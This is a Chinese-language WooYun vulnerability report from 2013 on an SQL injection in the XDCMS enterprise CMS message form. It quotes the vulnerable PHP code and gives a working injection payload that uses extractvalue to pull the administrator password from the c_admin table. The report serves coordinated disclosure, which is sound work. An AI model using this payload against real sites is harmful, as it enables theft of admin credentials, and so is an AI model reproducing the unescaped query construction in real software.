当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044750

漏洞标题:XDCMS企业管理系统SQL注入#3

相关厂商:www.xdcms.cn

漏洞作者: xfkxfk

提交时间:2013-12-03 12:03

修复时间:2014-03-03 12:04

公开时间:2014-03-03 12:04

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-03: 细节已通知厂商并且等待厂商处理中
2013-12-05: 厂商已经确认,细节仅向厂商公开
2013-12-08: 细节向第三方安全合作伙伴开放
2014-01-29: 细节向核心白帽子及相关领域专家公开
2014-02-08: 细节向普通白帽子公开
2014-02-18: 细节向实习白帽子公开
2014-03-03: 细节向公众公开

简要描述:

最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致SQL注入

详细说明:

注入在XDCMS企业管理系统的在线留言功能处,来看看\system\modules\form\lists.php文件:

public function add_save(){
$formid=safe_html($_GET['formid']);
$form_arr=base::load_cache("cache_form","_form");
$form=get_array($form_arr,'id',$formid,0);
$fields=$_POST['fields']; //获取留言的内容,这里没有过滤
$verifycode=$_POST['verifycode'];

//验证码
//if($form['0']['is_code']==1 && $verifycode!=$_SESSION['code']){
// showmsg(C('verifycode_error'),'-1');
//}

if(empty($fields['title'])||empty($formid)){
showmsg(C('material_not_complete'),'-1');
}
$form=formtable($formid);
if(empty($form)){
showmsg(C('error'),'-1');
}

$table=$this->mysql->show_table(); //判断数据表是否存在
if(!in_array(DB_PRE.$form,$table)){
showmsg(C('table_not_exist'),'-1');
}
//添加附加表
$sql_fields='`inputtime`';
$sql_value=datetime();
$send_text='留言内容:<br>';

//问题就处在这,在处理留言内容时,过滤不严格可绕过,导致注入
foreach($fields as $key=>$value){
$sql_fields.=",`".safe_replace($key)."`";
if(is_array($value)){
$value_arr='';
foreach($value as $k=>$v){
$value_arr.=$v.',';
}
$value=$value_arr;
}
$sql_value.=",\"".safe_replace(safe_html($value))."\"";
$send_text.=safe_replace(safe_html($value))."<br>";
}
$sql = "insert into ".DB_PRE.$form."({$sql_fields}) values ({$sql_value})";
//echo $sql."\n";
$this->mysql->query("insert into ".DB_PRE.$form."({$sql_fields}) values ({$sql_value})");
$rs=$this->mysql->get_one("select * from ".DB_PRE."form where id=".$formid);
if($rs['is_email']==1){
sendmail('有人给您留言了!',$send_text);
}
showmsg(C('add_success'),'-1');
}
}


提交留言时会调用add_save,问题就出在这个add_save函数处:
提交的内容是键值对,对键值都进行了safe_replace和safe_html过滤,但是在过滤key时,由于key是用反引号`进行引起来的,但是在过滤函数safe_html进行过滤是,没有过滤此反引号`,导致在key那里可以进行insert注入。

漏洞证明:

第一步进行在线留言:

ly4.png


第二步,进行抓包,在key=content处加一个反引号`,发现报错了,说明存在注入

ly1.png


第三步,我们来进行sql语句构造,在key那里插入EXP如下:

`) values (1385992505,111111,111111,13111111111,111111,111111 and extractvalue(1, concat(0x5c,(select password from c_admin limit 1))));#


ly2.png


第四步,成功得到管理员密码:

ly3.png

修复方案:

过滤严格

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2013-12-05 15:38

厂商回复:

谢谢

最新状态:

暂无